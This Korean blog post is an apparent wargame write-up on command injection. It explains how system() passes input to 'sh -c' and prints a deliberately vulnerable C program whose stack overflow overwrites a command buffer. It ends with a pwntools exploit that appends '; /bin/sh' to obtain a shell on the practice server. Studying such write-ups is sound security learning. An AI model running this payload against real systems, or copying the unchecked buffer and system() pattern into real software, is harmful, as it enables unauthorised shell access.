[포너블] Logical Bug: Command Injection

Chris Kim·2024년 10월 27일

시스템해킹

목록 보기
32/33

출처 드림핵

system 함수가 명령어를 실행하는 과정
system 함수는 라이브러리 내부에서 do_system 함수를 호출한다. do_system은 "sh-c"와 system 함수의 인자를 결합하여 execve 시스템 콜을 호출한다.

1. Command Injection

인젝션은 악의적인 데이터를 프로그램에 입력하여 이를 시스템 명령어, 코드, 데이터베이스 쿼리 등으로 실행되게 하는 기법을 말한다. 이 중, 사용자의 입력을 시스템 명령어로 실행하게 하는 것을 Command Injection이라고 부른다.

따라서 system 함수 호출 과정에서 사용자 입력을 제대로 검사하지 않으면 임의 명령어가 실행될 수도 있다. 이는 리눅스의 메타 문자로 인한 것이다.

2. 관련 워게임

출처

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

3. 익스플로잇

  • 간단하다. strncmp는 앞 8글자만 비교하고 있으므로, ;를 활용하여 내가 원하는 커맨드를 이어 써주면된다. 여기선 스택 버퍼 오버플로우를 통해 명령어를 입력해주었다.
from pwn import *

p = remote('host3.dreamhack.games', 8352)

payload = b'A'*0x20 + b'ifconfig' + b'; /bin/sh'

p.sendafter(': ', payload)

p.interactive()
profile
회계+IT=???

0개의 댓글